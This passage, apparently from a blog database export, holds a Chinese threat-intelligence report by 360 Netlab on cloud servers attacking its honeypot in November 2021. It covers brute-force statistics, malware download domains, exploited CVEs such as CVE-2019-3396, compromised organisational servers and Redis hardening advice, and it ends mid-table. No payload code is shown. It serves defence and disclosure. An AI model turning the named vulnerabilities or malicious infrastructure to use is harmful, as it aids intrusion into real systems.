云服务器攻击总体情况"]]],[1,"p",[[0,[],0,"11月22日~24日的突增主要是由以下两个IP地址造成的：一个是腾讯云119.45.229.133，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞探测数据包。另一个是位于荷兰的DigitalOcean云服务器188.166.54.243，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。"]]],[10,0],[1,"p",[[0,[],0,"按云服务商维度来看，与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。"]]],[1,"p",[[0,[],0,"10月份腾讯云攻击会话前三的IP地址和会话数分别为：43.128.26.129（21,128），1.117.219.218（1,615），1.116.214.89（1,089），本月攻击会话数量前三的IP地址和会话数分别为：119.45.229.133（1,189,312），162.14.66.133（23,213），152.136.132.251（4,188）。本月前3的IP发送的会话明显多于上月，119.45.229.133是本月腾讯云攻击会话暴涨最主要的原因，该IP主要是微软OMI wsman漏洞探测和敏感文件嗅探行为。"]]],[10,1],[1,"h2",[[0,[],0,"3 云服务器上的恶意行为"]]],[1,"h3",[[0,[],0,"使用云产品进行攻击"]]],[1,"p",[[0,[],0,"11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。"]]],[1,"p",[[0,[],0,"以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。"]]],[10,2],[1,"p",[[0,[],0,"总体来看亚马逊AWS和阿里云的爆破IP数量最多，DigitalOcean的爆破会话数最多。"]]],[10,3],[1,"p",[[0,[],0,"在传播木马病毒等恶意软件方面，11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比，源IP和会话数都明显增加。其中会话数量增加了67%，IP数量增加15%。"]]],[10,4],[1,"p",[[0,[],0,"本月，恶意挖矿程序（CoinMiner）无论是从传播IP数还是会话数都位列第一位，相比10月，传播恶意挖矿程序的IP数量增加了约16%，会话数量增加了约40%，说明云服务器传播恶意挖矿软件问题已经非常严重。"]]],[10,5],[1,"p",[[0,[],0,"下表是传播恶意软件次数最多的10个IP。"]]],[10,6],[1,"p",[[0,[],0,"下表是传播恶意软件家族种类最为广泛的10个IP。恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。"]]],[10,7],[1,"p",[[0,[],0,"下面是恶意软件的下载URL中提取的下载服务器的IP/域名。"]]],[10,8],[1,"p",[[0,[0],1,"en2an.top、teamtnt.red和104.192.82.138"],[0,[],0,"是11月新进入前10的下载服务器。其中"],[0,[0],1,"en2an.top"],[0,[],0,"注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。"]]],[1,"h3",[[0,[],0,"漏洞的扫描和攻击"]]],[1,"p",[[0,[],0,"Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。"]]],[10,9],[1,"p",[[0,[],0,"Redis是被最多攻击者攻击的设备，攻击源IP数量远超其他。此外也有较多针对Hadoop、Atlassian、微软、Apache等厂商的设备的攻击。"]]],[10,10],[1,"p",[[0,[],0,"从CVE编号来看，CVE-2018-19629是最多攻击源IP利用的有CVE编号的漏洞，攻击源IP数量约是第二多的CVE-2019-3396的4倍。"]]],[10,11],[1,"p",[[0,[],0,"以下是利用的漏洞种类最多的10个IP。"]]],[10,12],[1,"h2",[[0,[],0,"4 云服务器对外攻击事件案例"]]],[1,"p",[[0,[],0,"本月我们发现了8起涉及具体用户单位的云服务器发起对外攻击的案例，下表列出了其中6起案例。发起对外攻击的云服务器有被黑客入侵的可能，建议有关单位及时采取措施处置。此外，我们还发现了2起政府机关曾经使用过的云服务器，在DNS服务器仍绑定政府.gov域名的情况下，被其他租户租用后发起网络攻击的事件。"]]],[10,13],[1,"h4",[[0,[],0,"1）**"],[0,[0],1,"官网 / 某公司小程序后台管理系统"]]],[1,"p",[[0,[],0,"IP地址为39.100.*.*的阿里云服务器在11月4日到11月28日期间扫描Redis服务器的默认TCP/6379端口，发起Redis漏洞攻击并传播恶意挖矿、Tsunami僵尸网络等恶意软件。该云服务器属于“一机多站”的情况，即一个IP地址上搭建了多个网站。其中，一个域名属于**官方网站及其后台管理系统；另一个域名属于北京某公司。经过互联网公开资料搜索，这是一家专门开发面向检察院系统的APP、小程序等的公司。"]]],[10,14],[1,"p",[[0,[],0,"下面是这个IP利用Redis漏洞的攻击Payload样例（已去除空行）。"]]],[10,15],[1,"h4",[[0,[],0,"2）某报社的后台管理系统"]]],[1,"p",[[0,[],0,"IP地址为119.23.*.*的阿里云服务器，在11月15日出现过在互联网上利用Atlassian Connector preview RCE和Hadoop ResourceManager apps RCE两个漏洞攻击的行为。该IP地址绑定了的相关域名上有网站“**后台管理系统”，网站界面如下图所示。"]]],[10,16],[1,"p",[[0,[],0,"以下分别展示了攻击者用这两个漏洞的攻击Payload。"]]],[1,"p",[[0,[],0,"攻击者利用Atlassian Connector preview RCE漏洞（CVE-2019-3396）："]]],[10,17],[1,"p",[[0,[],0,"攻击者利用Hadoop ResourceManager apps RCE漏洞："]]],[10,18],[1,"p",[[0,[],0,"篇幅原因，这里只介绍其中两个案例。执法机构工作人员或者安全社区相关的读者，可以通过文章底部的邮箱与我们联系。"]]],[1,"h2",[[0,[],0,"5 防护建议 "]]],[1,"p",[[0,[],0,"360 Anglerfish蜜罐具备威胁情报自动化输出能力，可监测云服务器在互联网上的恶意行为。本月的案例中，有3起案例都是云服务器在互联网上扫描默认端口TCP/6379的Redis服务器，发起漏洞攻击和传播恶意软件。建议Redis服务器的用户做好以下防护措施："]]],[1,"p",[[0,[],0,"1) 更改默认端口号（TCP/6379）"]]],[1,"p",[[0,[],0,"2) 设置高强度的密码 "]]],[1,"p",[[0,[],0,"3) 使用普通权限用户而不是root权限用户运行Redis"]]],[1,"p",[[0,[],0,"4) 做好防火墙配置，仅限特定主机访问"]]],[1,"h2",[[0,[],0,"6 联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。"]]],[1,"h2",[[0,[],0,"7 IOC List"]]],[1,"p",[[0,[],0,"URL："]]],[10,19],[1,"p",[[0,[],0," md5:"]]],[10,20],[1,"p",[]]],"ghostVersion":"3.0"} | 61a98c6f3819e5000763689a |
post | null | 2021-12-03T06:27:40.000Z | 63873b9a8b1c1e0007f52ffa | gong-you-yun-wang-luo-an-quan-wei-xie-qing-bao-202111-duo-qi-zhong-dian-dan-wei-yun-shang-zi-yuan-dui-wai-fa-qi-gong-ji | 0 | 2021-12-03T06:28:55.000Z | public | draft | null | null | 公有云网络安全威胁情报（202111）：多起重点单位云上资源对外发起攻击 | <h2 id="1-">1 概述</h2><p>2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。但是，本月我们发现了多起重点单位的云上资产对外发起攻击事件，涉及<strong>政府机关、公共事业、通信、交通运输、工业制造、医疗卫生、传媒、农业8个行业的8个IP地址</strong>。值得关注的是我们发现了<strong>中国电信邮箱服务器</strong>和<strong>多地政府机关食堂订餐系统</strong>可能被黑客入侵。</p><h2 id="2-">2 云服务器攻击总体情况</h2><p>从时间趋势上看，11月份大多数时间每天具有攻击行为云服务器IP地址仍然在600~1000个范围内，整体上看云服务器攻击源IP数量随着时间逐渐增加。除了11月22日~11月24日的突增外，会话数量也比较稳定。</p><p>11月22日~24日的突增主要是由以下两个IP地址造成的：一个是119.45.*.*，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞攻击数据包。另一个是188.166.*.*，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/1.png" class="kg-image" alt loading="lazy"></figure><p>从地理位置看，中国和美国仍然是攻击源IP数量最多的两个国家。相比于上月，本月来自欧洲的攻击源数量有所减少。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/11------.png" class="kg-image" alt loading="lazy"></figure><p>中国国内攻击源的地理分布与上周基本相同，主要集中在北京、上海、广东、浙江四个地区。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/11-------1.png" class="kg-image" alt loading="lazy"></figure><p>按云服务商维度来看，阿里云、腾讯云、DigitalOcean和亚马逊AWS仍然是四个最主要的攻击来源，但是与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image.png" class="kg-image" alt loading="lazy"></figure><h2 id="3-">3 云服务器上的恶意行为</h2><p>本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。</p><h3 id="-">使用云产品进行攻击</h3><p>11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。</p><p>以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:375.6pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:11.35pt">
<td width="129" nowrap="" valign="top" style="width:96.6pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></strong><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">云服务</span></strong></span><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">协议</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">/</span></strong><strong><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">端口</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="66" nowrap="" valign="top" style="width:49.8pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><strong><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">次数</span></strong><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><strong><span lang="EN-US">188.166.54.243<o:p></o:p></span></strong></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
</div>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">182,595</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">159.223.122.148</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">99,437</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">64.227.8.227</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">97,995</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><strong><span lang="EN-US">68.183.37.164</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP2323, TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">40,621</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><strong><span lang="EN-US">147.182.169.195</span></strong><strong><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></strong></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
